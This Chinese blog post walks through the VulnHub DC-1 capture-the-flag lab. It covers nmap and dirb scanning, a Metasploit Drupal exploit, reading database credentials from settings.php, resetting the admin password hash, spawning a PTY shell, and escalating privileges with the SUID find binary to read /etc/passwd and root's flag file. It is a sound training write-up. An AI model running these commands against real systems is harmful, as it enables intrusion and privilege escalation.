[内网渗透]DC1

[内网渗透]DC1

环境搭建

https://www.vulnhub.com/entry/dc-1,292/

信息收集

扫IP、端口:

nmap -sS 192.168.56.1/24 -T4
image-20230721201724820

扫描详细信息:

nmap -A -T4 192.168.56.136

image-20230721201848202

可以知道是:Drupal的CMS

目录扫描:

dirb http://192.168.56.136
image-20230721201935537

靶机渗透

首先通过靶机ip的80端口访问网站:

image-20230721202056848

测试了一下,好像没什么利用点

于是我们想到Drupal 7cms中可能存在某些漏洞,我们使用著名的metasploit

msfconsole

启动后搜索drupal

search drupal

image-20230721202402795

这里第一个是可以用的,我们可以使用use来选择模块:

use 1

输入info命令,可以获得该漏洞相关的信息

image-20230721202512776

在msf中我们可以使用options命令来查看当前模块的相关选项:

options

image-20230721202623849

这里只需要设置一下目标的ip(RHOSTS)即可:

set RHOSTS 192.168.56.136

然后输入:

run
或
exploit

来利用改漏洞模块即可。等待一会就利用成功了:

image-20230721202901027

我们输入getuid命令(该命令可以获取当前会话的用户标识,需要建立会话才能使用)查看一下当前的权限:

image-20230721203140296

www-data用户

接下来我们就需要找flag了,这里有5个flag

flag1
ls
cat flag1.txt

image-20230721203247712

flag1.txt

Every good CMS needs a config file - and so do you.

提示我们需要在配置文件中寻找

flag2

问一下gpt

image-20230721203412212

获得路径:

sites/default/settings.php

查看:

cat sites/default/settings.php
image-20230721203459675

找到了flag2:

* flag2
* Brute force and dictionary attacks aren't the
* only ways to gain access (and you WILL need access).
* What can you do with these credentials?

暴力破解密码不可取

并且获得了mysql数据库的账号和密码,于是我们需要去登录mysql:

flag3

我们先使用ps aux | grep 3306查看一下是否开放了3306端口:

发现进程中没有匹配到3306端口,说明mysql没对外开放

我们可以获取一个交互式的shell,先输入:shell,然后输入:

python -c 'import pty;pty.spawn("/bin/bash")'

这样就获取到了一个交互式的shell

我们登录数据库

image-20230721211151769

查询users表下存在admin用户的密码为hash值:

image-20230721211302034

这种hash值很难破解,应该是使用脚本进行加密的

我们在当前目录下发现script文件夹,其下存在加密脚本:

image-20230721211355866

我们对字符串admin进行加密:

php scripts/password-hash.sh "admin"

image-20230721211801913

然后将admin的密码修改:

image-20230721212032980

admin:admin

登录网站:

image-20230721212219022

Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.

这里有几个关键词:PERMSFIND-exec

很明显了,应该是要提权的

flag4
find / -perm -u=s -type f -exec ls -al {} \; 2>/dev/null

image-20230721212748789

刚好有个find可以用来提权了:

因为find去执行命令的时候,每找一个文件都执行一次,为了不执行多次,我们先创建一个空文件,然后再根据该文件执行命令

touch demo
find demo -exec cat /etc/passwd \;
# 查看一下/etc/passwd

image-20230721213127457

flag4在 /home/flag4

image-20230721213301283

Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy.  Or maybe it is?
flag5

如果直接查看/root,提示没有权限

image-20230721213411547

前面的find提权派上用场了:

find demo -exec cat /root/thefinalflag.txt \;

image-20230721213526846

拿到了flag5

总结

这里有一个东西挺重要的:

python -c 'import pty;pty.spawn("/bin/bash")'

这个代码可以获得交互式的shell

这个命令是一个基于 Python 的简单技巧,用于在当前终端创建一个交互式的伪终端(PTY)。它可以用于提升当前终端的特权,以便执行更高级的操作。

具体来说,这个命令的作用是导入 pty 模块,并使用 pty.spawn() 函数来创建一个交互式的 Bash shell。/bin/bash 是一个常见的 Bash shell 的路径,在这个命令中被传递给 pty.spawn() 函数。

执行这个命令后,会话将转变为一个具有完整的交互式 Shell 功能的终端,您可以在其中执行各种命令,浏览文件系统,编辑文件等等。

需要注意的是,这个命令只在当前终端有效,如果您想要将会话保持开启并在其他地方访问,可能需要使用其他技术,比如使用反向 Shell 或者 Tunneling 等方法。此外,在某些情况下,这样的操作可能会违反法律或规定,请确保您拥有适当的权限和合法性来执行相关操作。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值